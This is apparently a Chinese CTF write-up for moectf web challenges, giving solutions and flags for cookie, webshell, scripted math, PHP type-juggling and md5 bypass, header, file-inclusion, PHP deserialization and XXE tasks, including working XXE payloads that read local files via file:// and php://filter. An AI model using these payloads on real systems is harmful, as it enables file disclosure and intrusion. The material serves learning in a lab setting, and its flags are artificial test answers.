作为一个二进制手……我把web强行做完,我太难了……
GET
POST
小饼干
小饼干?cookie!
url解码:
moectf{y0u_c4n't_e4t_thi3_c00k1e}
Introduction
进入网页,Ctrl+U看源码,Ctrl+F搜索
一句话
一句话木马还是一个比较常见的考点, 现在直接AntSword或者Cknife一把梭,建议AntSword,,,
moectf{0hhhh!!!y0u_know_h0w_to_u3e_eva1}
EzMath
刷新那么快,肯定不能用手来算,这块就需要用脚本,这个题特别像bugku的一道题目:秋名山老司机。找了找之前的笔记,就有了这样一个脚本:
import requests
import re
url = 'http://39.98.86.109:10001/index.php'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'a': result}
print(s.post(url, data = post).text)
淦!!!复现的时候环境没了,,这里贴一下秋名山老司机这个题。可以尝试着把我上面的脚本改一下~
三心二意
先贴源码:
<?php
$a = $_GET['a'];
$b = $_POST['b'];
$c = $_REQUEST['c'];
$d = $_COOKIE['d'];
if (!isset($a, $b, $c, $d)) {
highlight_file(__FILE__);
} else {
if (is_numeric($a) and $a == false) { //a=0
echo 'A is OK!';
echo '<br/>';
if (!is_numeric($b) and $b == 0x125e591) { //b=19260817a
echo 'B is OK!';
echo '<br/>';
if ($c != 240610708 and md5($c) == md5(240610708)) { //c=s214587387a
echo 'C is OK!';
echo '<br/>';
if (strlen($d) < 7 and $d != 0 and $d ** 2 == 0) { //d[]=
include('/flag');
} else {
echo "D is not wanted.<br/>";
highlight_file(__FILE__);
}
} else {
echo "C is not wanted.<br/>";
highlight_file(__FILE__);
}
} else {
echo "Too young too simple.<br/>";
highlight_file(__FILE__);
}
} else {
echo "A is not wanted.<br/>";
highlight_file(__FILE__);
}
}
一看就知道这个题目考察的是php语言的一些小tricks,先把a,b,c,d四个变量都设置值,然后再一个一个调
a不解释,,,
b不解释,,,
c是md5绕过,可以看下这篇文章
d不解释,,,
就这吧~爱会消失对不对
俄罗斯头套
这个题,没做过类似的,现场百度,查到这个题的考点是http响应头,那么这个题也就没什么说的了,抓包,改响应头……就完了
这里放两张修改后的:
moectf{r3que5t_he4der_1s_ea5y!!}
include
盲猜文件包含漏洞,,,点开do not click???我偏要click,然后看源码:
果然,和猜的一样。
先试一下:
好吧,我想的有点简单了。他的flag应该是在注释里面,那我们把整个文件base64一下就好了:
Moe unserialize
由题干猜考点:反序列化
这里第一个考点是vim的备份文件,我们输入
下载文件,然后在wsl里面用vim把swp备份文件恢复
<?php error_reporting(0); class Moe { public $a; protected $b; private $c; function __destruct() { if ($this->a === '1' && $this->b === '2' && $this->c === '3') { include 'flag.php'; die($flag); } } } $moe = $_GET['flag']; unserialize($moe); ?> 有一天,赤道企鹅在愉快的使用vim给学弟挖坑,突然伴随着身体的一阵抽搐,电脑死机了。企鹅悲痛欲绝,聪明的你能帮助企鹅找到他挖的坑吗?
代码审计(阅读,写一个脚本生成序列化的结果
<?php class Moe { public $a = '1'; protected $b = '2'; private $c = '3'; } $a = new Moe() echo serialize($a) ?>
我们把这些内容get提交到flag里面,,,嗯???没反应???
这里感谢一下Noah大佬(Noah,yyds),他说:你个屈屈一个菜鸡bb,这里面有空字符没显示出来,你个辣鸡!!!
我留下了屈辱的泪水,然后便查了一下相关资料:
知道直接复制粘贴网页上的内容是不行的,于是再次打开自己脚本的输出界面,Ctrl+U查看源代码,发现端倪:
在这里我们就可以看到缺少的空字符,所以我们在get的时候手动加上%00就好了。
XXE
没接触过,即刻学习XXE漏洞然后又看了看i春秋上面的视频,就尝试做这个题目。
先大致代码审计(阅读一下
<?php // flag is in '/flags/flag1.txt' and '/flags/flag2.php' libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); if (strpos($xmlfile,"flag1.txt") !== FALSE){ if (strpos($xmlfile,'file:/') === FALSE){ die("Please use file protocol.<br/><br/>"); } } if (strpos($xmlfile,"flag2.php") !== FALSE){ if (strpos($xmlfile,'file:/') !== FALSE){ echo "Why not try php://filter?"; echo '<br/><br/>'; } } $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $test = simplexml_import_dom($dom); echo $test; highlight_file(__FILE__); ?>
知道题目先把flag分成两个部分,然后分别采用两种协议,所以我们需要写两个payload。
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///flags/flag1.txt"> ]> <x>&f;</x> <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=/flags/flag2.php"> ]> <x>&f;</x>
base64解一下:
第一部分:moectf{XXE_
第二部分密文:PD9waHAgJGZsYWcyID0gJzRuZF9waHBfZjFsdDNyfSc7ID8+
第二部分:
moectf{XXE_4nd_php_f1lt3r}